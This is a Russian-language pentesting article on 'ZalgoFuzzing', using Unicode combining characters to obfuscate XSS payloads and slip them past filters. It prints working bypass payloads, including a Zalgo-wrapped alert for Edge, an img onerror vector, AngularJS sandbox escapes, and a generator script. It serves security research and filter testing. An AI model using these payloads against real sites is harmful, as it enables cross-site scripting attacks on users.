- PVSM.RU - https://www.pvsm.ru -

ZalgoFuzzing: использование нестандартных методов размытия пейлоадов

ZalgoFuzzing: использование нестандартных методов размытия пейлоадов - 1

Использование нестандартных техник обфускации пейлоада (полезной нагрузки) при проведении тестирования на проникновение веб-приложений может позволить обходить фильтрацию защитных средств и способствовать реализации вектора атаки. В этой статье я расскажу про т.н. Z̴a҉̠͚l͍̠̫͕̮̟͕g͚o̯̬̣̻F̮̫̣̩͓͟ͅu̯z̡͉͍z̪͈̞̯̳̠ͅi̴̜̹̠̲͇n̰g̱͕̫̹͉͓ как метод обфускации (размытия) пейлоадов.

Z̻̮̰̗͙̱̣a̺̗̺͍̹̕l͈̠͈͍g̵o̤̜͇͕̹

В первую очередь давайте разберем что такое Zalgo и такую
! особенность построения текста. В тексте используются комбинированные символы, также известные как комбинированные метки. Символы, имеющие графическое представление, в стандарте Юникода подразделяются на базовые и комбинируемые (или модифицирующие). Комбинируемые названы так, потому что при отображении комбинируются с рядом стоящим базовым символом (модифицируют его).

Использование таких последовательностей символов позволяет исказить полезную нагрузку, приведя ее к «нестандартному виду».

Например, данный javascript-код будет валиден в Edge: ̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅalert(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ

Чтобы cгенерировать Zalgo, можно повторить одиночные символы, либо объединить два символа, и повторить второй. Следующий пример генерирует визуальные дефекты, повторяющиеся сами по себе, в основном объединяют символы unicode:

834,1425,1427,1430,1434,1435,1442,1443,1444,1445,1446,1447,1450,1453,1557,1623,1626,3633,3636,3637,3638,3639,3640,3641,3642,3655,3656,3657,3658,3659,3660,3661,3662

Cледующий JavaScript будет генерировать визуальные дефекты, используя один из символов выше ͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂:

<script>document.write(String.fromCharCode(834).repeat(20))</script>

Принцип построения «фаззящей» последовательности проста — вывод символов максимально возможно горизонтальной длины, либо преображение и отображение с «разрывом». Этом поможет достичь эффекта некорректного отображения множественных символов UNICODE как пробельных, например так:

ັັັalert(ັັັ'XSS Edge'ັັັ)ັັັ
Здесь ожидаемое поведение — это фильтрация, но на самом деле происходит событие Alert. Эти ошибки связаны с некорректным парсингом смешанного содержимого запроса.

Есть схожие методы обхода защитных средств, основанные на внедрении UNICODE символов:
†‡•<img src=a onerror=javascript:alert('test')>…‰€ (репорт на HackerOne [1]).

Эти методы могут быть как обособленными векторами применения, так и конкретными, связанными со спецификой того или иного приложения, например AngularJS:

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

В ветке обсуждения [2] отображения последовательностей представлен еще один пример обхода парсинга:

eval('alert'+String.fromCharCode(6158)+'(1)')

Основной смысл такого обхода — преобразования символов, проходящих фильтры, в необходимую последовательность, на выходе дающую работающий (уже прошедший фильтр) пейлоад. В качестве примера привожу изображение, демонстрирующее такое преобразование:

image

Исследователем Gareth Heyes опубликован фаззер [3], объединяющий UNICODE совмещение и Zalgo, названный им Z̴a҉̠͚l͍̠̫͕̮̟͕g͚o̯̬̣̻F̮̫̣̩͓͟ͅu̯z̡͉͍z̪͈̞̯̳̠ͅi̴̜̹̠̲͇n̰g̱͕̫̹͉͓ для выявлении последовательностей UNIСODE символов, преобразующихся в валидный javascript.

Таким образом был составлен пейлоад для обхода фильтрации EDGE, заключающийся в добавлении символов, обрабатываемых как пробельные. Таким образом была выявлена последовательность в виде символа 837 вместе с любым символом из диапазона 768-879:

a= [];
for(i=768;i<=858;i++){
  a.push(String.fromCharCode(837)+String.fromCharCode(i).repeat(5));
}
a[10]+='alert('
a[15]+='1';
a[20]+=')';
input.value=a.join('')
eval(a.join(''));

Таким образом получается валидный пейлоад: ̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅalert(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ

Тема использования UNICODE-нормализации для обхода защитных средств далеко не нова (но и не сильно распространена), но тем не менее, позволяет находить новые способы обхода фильтрации.

Unicode Security Guide [4]

Автор: Лука Сафонов

Источник [5]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/unicode/275334

Ссылки в тексте:

[1] HackerOne: https://hackerone.com/reports/231444

[2] В ветке обсуждения: https://github.com/Microsoft/ChakraCore/issues/3050#issuecomment-303949701

[3] опубликован фаззер: https://github.com/hackvertor/visualfuzzer

[4] Unicode Security Guide: http://websec.github.io/unicode-security-guide/character-transformations/

[5] Источник: https://habrahabr.ru/post/351240/?utm_source=habrahabr&utm_medium=rss&utm_campaign=351240